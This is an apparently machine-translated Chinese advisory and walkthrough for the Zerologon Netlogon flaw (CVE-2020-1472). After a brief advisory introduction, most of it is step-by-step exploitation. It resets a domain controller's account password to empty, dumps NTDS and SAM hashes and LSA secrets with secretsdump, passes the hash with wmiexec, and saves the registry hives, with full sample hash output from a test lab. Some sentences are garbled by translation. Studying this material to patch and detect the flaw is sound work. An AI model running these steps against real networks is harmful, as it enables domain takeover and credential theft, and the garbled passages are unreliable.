2020年8月12日,阿里雲應急響應中心監測到,微軟發布了補丁來修復NetLogon特權升級漏洞(CVE-2020-1472),CVSS評分為10,官方評級為嚴重。目前,微軟已正式提供相應的每月安全補丁來修復此漏洞。
2020年9月,一名外國黑客向Github公開上傳了該漏洞的驗證腳本PoC,並宣布了相關技術細節,這構成了很高的風險。
漏洞描述
Microsoft在8月12日正式發布了安全更新,該更新修復了NetLogon特權升級漏洞(CVE-2020-1472)。攻擊者使用NetLogon(MS-NRPC)與域控制器建立易受攻擊的安全通道。何時可以使用此漏洞來訪問域管理。成功利用此漏洞的攻擊者可以在網絡中的設備上運行相應的代碼或程序。同時,Microsoft的August補丁還涉及許多其他高風險漏洞。阿里雲應急響應中心提醒Windows用戶儘快安裝補丁,以防止漏洞攻擊。
CVE-2020-1472CVE-2020-1472又名Zerologon的檢查和利用代碼
測試域控制器是否容易受到Zerologon攻擊,如果容易受到攻擊,它將把域控制器的帳戶密碼重置為空字符串。
注意:這可能會破壞生產環境中的內容(例如DNS功能,與複製域控制器的通信等);然後,目標客戶端將無法再向域進行身份驗證,並且只能通過手動操作來重新同步它們。
Zerologon原創性的研究和白皮書由塞庫拉(湯姆Tervoort) - https://www.secura.com/blog/zero-logon
它將嘗試執行Netlogon身份驗證繞過。修補域控制器後,檢測腳本將在發送2000對RPC調用後放棄,從而認為目標不容易受到攻擊(錯誤的可能性為0.04%)。
僅當域控制器使用Active Directory中存儲的密碼來驗證登錄嘗試,而不是本地存儲的身份驗證時,該漏洞利用才會成功,因為當以此方式更改密碼時,只能在AD中進行更改。目標系統本身仍將在本地存儲其原始密碼。
需要Python 3.7或更高版本,virtualenv,pip和 Impacket庫的修改版本:nrpc.py(/ impacket / dcerpc / v5)來自GitHub的最新版本的impacket,其中添加了netlogon結構。
git clone https://github.com/SecureAuthCorp/impacket
cd impacket
pwd
~/impacket/
virtualenv --python=python3 impacket
source impacket/bin/activate
pip install --upgrade pip
pip install .
~/impacket/
cd example
git clone https://github.com/VoidSec/CVE-2020-1472
cd CVE-2020-1472
pip install -r requirements.txt
運行腳本該腳本可用於定位DC或備用DC。它也可能會針對只讀DC工作,但是尚未經過測試。DC名稱應為其NetBIOS計算機名稱。如果此名稱不正確,則腳本可能會因STATUS_INVALID_COMPUTER_NAME錯誤而失敗。給定一個名為EXAMPLE-DC和IP位址的域控制器1.2.3.4,按如下所示運行腳本:
運行該腳本應導致域控制器的帳戶密碼重置為空字符串。
在這一點上,您應該能夠運行Impacket的secretsdump.py -no-pass -just-dc Domain/'DC_NETBIOS_NAME$'@DC_IP_ADDR(也可以使用空的hash :)-hashes :31d6cfe0d16ae931b73c59d7e0c089c0,它將僅提取NTDS.DIT數據(NTLM哈希和Kerberos密鑰)。
哪個應該讓您獲得域管理員。雙贏雙贏
示例運行> cve-2020-1472-exploit.py -n WIN-U4Q9LLP6L2A -t 192.168.209.129
[+] Success: Zerologon Exploit completed! DC's account password has been set to an empty string.
> secretsdump.py -no-pass -just-dc ad.test.com/WIN-U4Q9LLP6L2A\$@192.168.209.129
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
Restore:
> wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe ad.test.com/Administrator@192.168.209.129
- reg save HKLM\SYSTEM system.save
- reg save HKLM\SAM sam.save
- reg save HKLM\SECURITY security.save
- get system.save
- get sam.save
- get security.save
- del /f system.save
- del /f sam.save
- del /f security.save
> secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
[*] Target system bootKey: 0x31f99ee2e750274d1fee930ab88fe126
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:ef464f4194d9f401af41c9982dc7c85524cc9ed8adef4fe24c8044d13f1ae41c594131d2d46cab3a0d3384cda94baae65d5a87d26df1201ff6ff1697672ac4e16c16f0e514f6e54d84342c5af4193fe96329e3a30fb84c08845e7a86dac4295276c7c2e3181555fa5eef21d4d1f469550f4706383327b299283f72b7df6b661cfb11189bd8b3ab552ffb99aa12ffe19b760e00e143ef3e776d8377da57925c5ed71aa9f0991acff7fc9c963addb8496fdd273f231e15a51d99f41a770de714573b26795c45a03eac80e3bb45ac5c100740da5814c3979e5349e8471623086c80f6160163f4bd56da3b75a6deb17b1020
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:9b5ccb9700e3ed723df08132357ff6a1
[*] DPAPI_SYSTEM
dpapi_machinekey:0xaf83406b2611f18ac99329079e9f47d9409e885f
dpapi_userkey:0x53ed555f11c110f918fc9a97a6c3576266930fb7
[*] NL$KM
0000 55 A7 DF DF 27 E2 64 C1 F7 42 F2 1B 96 76 01 4F U...'.d..B...v.O
0010 24 4C 5D 9B 20 E3 EA 95 DD E9 61 0F 00 8E B2 51 $L]. a....Q
0020 B1 79 3F E0 37 3E CB B2 95 31 A6 74 F3 35 54 8A .y?.7>...1.t.5T.
0030 C1 B6 70 3D B3 AB AC C1 7E 8E 90 7A 7B 49 32 46 ..p=....~..z{I2F
NL$KM:55a7dfdf27e264c1f742f21b9676014f244c5d9b20e3ea95dde9610f008eb251b1793fe0373ecbb29531a674f335548ac1b6703db3abacc17e8e907a7b493246
[*] Cleaning up...
密碼還原要使DC繼續正常運行,必須重新安裝原始密碼哈希。
獲得Domain Admin之後,您可以wmiexec.py使用從secretsdump獲得的憑據到目標DC,並執行以下步驟:
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
跑: secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
那應該向您顯示計算機帳戶的原始NT哈希。然後,您可以使用此處reinstall_original_pw.py提供的腳本將原始計算機帳戶哈希值重新安裝到域中。
漏洞測試工具:
https://github.com/VoidSec/CVE-2020-1472